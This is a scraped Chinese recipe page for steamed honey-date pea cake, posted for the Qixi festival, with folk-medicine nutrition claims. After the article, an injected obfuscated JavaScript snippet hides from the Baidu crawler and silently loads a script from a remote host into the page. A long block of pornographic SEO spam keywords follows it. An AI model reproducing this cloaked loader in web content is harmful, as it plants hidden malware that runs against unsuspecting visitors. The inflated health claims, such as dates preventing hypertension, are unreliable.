當(dāng)前位置:首頁 > 飲食 > 健康飲食 > 正文

七夕來了!自制蜜棗豌豆糕享健康甜蜜!

2015-08-19 00:19:48  來源:360常識網(wǎng)   熱度:
導(dǎo)語:蜜棗屬于干果類,由大青棗制成。蜜棗有補(bǔ)血、健胃、益肺、調(diào)胃之功效,對老人、兒童、產(chǎn)婦滋補(bǔ)皆有益處。蜜棗中所含的蘆丁,是一種使血管軟化,能防治高血壓。

一年一度的七夕節(jié)就要到了,小伙子們要送自己的姑娘什么禮物呢?巧克力?還是玫瑰花?姑娘們說不定也在挖空心思想著送禮物。今年不妨巧動心思,跟著飲食編輯一起來學(xué)做蜜棗豌豆糕吧,在享受甜蜜的同時有助于感情升溫喲!

七夕來了!自制蜜棗豌豆糕享健康甜蜜!

七夕來了!自制蜜棗豌豆糕享健康甜蜜!

主題:蜜棗豌豆糕

食材:豌豆250克,熟面粉、白糖、蜜棗各適量。

做法:

1.豌豆洗凈,鍋中倒入清水,放入豌豆煮開后,轉(zhuǎn)小火煮爛;

2.將豌豆去皮,用勺子將一顆顆豌豆搗碎成泥;

3.豌豆泥中加入熟面粉、白糖、蜜棗充分混合,入模具成形;

4.放入籠屜中以大火蒸45分鐘左右;

5.蒸好的豌豆糕脫模,吃的時候切塊即可。

食神營養(yǎng)提示:

豌豆味甘、性平;歸脾、胃經(jīng)。豌豆含蛋白質(zhì)、葉酸、膳食纖維、維生素A、胡蘿卜素、硫胺素、核黃素、煙酸、維生素E、鈣、鎂、鐵、錳等成分。豌豆具有補(bǔ)中益氣、解毒利尿的功效,適用于小便不暢、下腹脹滿、消渴等癥。現(xiàn)代研究證明,豌豆中含有大量粗纖維,可以促進(jìn)腸胃蠕動,及時排毒。其含有的維生素A原,可在體內(nèi)轉(zhuǎn)化為維生素A,具有潤澤肌膚、美容養(yǎng)顏的功效。

蜜棗屬于干果類,由大青棗制成。蜜棗含大量蛋白質(zhì)、碳水化合物、胡蘿卜素和維生素C,有補(bǔ)血、健胃、益肺、調(diào)胃之功效,對老人、兒童、產(chǎn)婦滋補(bǔ)皆有益處。蜜棗中所含的蘆丁,是一種使血管軟化,從而使血壓降低的物質(zhì),能防治高血壓。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲精品无AMM毛片| 精品国产福利久久久| 自怕偷自怕亚洲精品| 国产福利电影一区二区三区,亚洲国模精品一区| 久热re这里只有精品视频 | 色妞www精品视频一级下载| 法国性xxxx精品hd| 国产精品第100页| 日本国产成人精品视频| 精品免费视在线观看| 青草热在线精品视频99app| 精品9E精品视频在线观看| 国内精品久久久久久野外| 青青久久精品国产免费看| 国产精品国产福利国产秒拍| 性色精品视频网站在线观看| 中文精品人人永久免费| 午夜亚洲国产精品福利| 久久久精品人妻久久影视| 久久精品无码专区免费青青| 亚洲日韩精品无码专区网址| 合区精品久久久中文字幕一区| 亚洲AV综合永久无码精品天堂| 99精品在线观看视频| 国产产无码乱码精品久久鸭| 中文国产成人精品久久久| 国产偷窥熟女精品视频| 久久精品国产亚洲AV| 国产在线精品香蕉麻豆| 99j久久精品久久久久久| 国产精品国产三级国产AV主播| 亚洲电影日韩精品| 国产一卡2卡3卡四卡精品一信息| 四虎国产精品免费久久| 成人三级精品视频在线观看| 69p69国产精品| 88aa四虎影成人精品| 人妻精品久久无码专区精东影业| 久久精品国产影库免费看| 国产亚洲精品成人AA片新蒲金| 91精品国产9l久久久久|